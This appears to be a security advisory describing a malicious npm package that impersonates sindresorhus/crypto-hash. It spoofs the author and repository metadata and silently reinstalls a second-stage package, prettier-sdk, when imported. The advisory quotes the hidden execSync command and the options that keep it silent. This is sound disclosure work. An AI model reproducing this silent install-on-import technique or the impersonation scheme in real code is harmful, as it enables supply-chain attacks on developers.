GCVE-110-OSM-2026-4292

Installs a second-stage package (prettier-sdk, controlled by the same actor coindefi2026@outlook.com) via a silent require-time execSync call on every import, triggering prettier-sdk's install hooks without user interaction. Impersonates sindresorhus/crypto-hash by spoofing the author email, repository URL, and reusing legitimate source files as cover. **Trigger** (require-time IIFE): when index.js is first imported by any consuming project, an immediately-invoked function expression calls `execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true })`. No install hook in package.json — execution fires silently on require(). **Stage-fetch**: the execSync command forces reinstallation of `prettier-sdk`, a second-stage package published by the same actor (coindefi2026@outlook.com). prettier-sdk@1.0.2 has confirmed install scripts and depends on axios and child-process. **Impersonation camouflage**: surrounding source files (browser.js, thread.js, utilities.js) are verbatim copies of the legitimate sindresorhus/crypto-hash library; package.json spoofs `author.email` as sindresorhus@gmail.com and points `repository.url` at the real sindresorhus/crypto-hash GitHub repo. **Phantom dep**: child-process appears in the dependencies block but is never required in the source — a marker confirming malicious intent.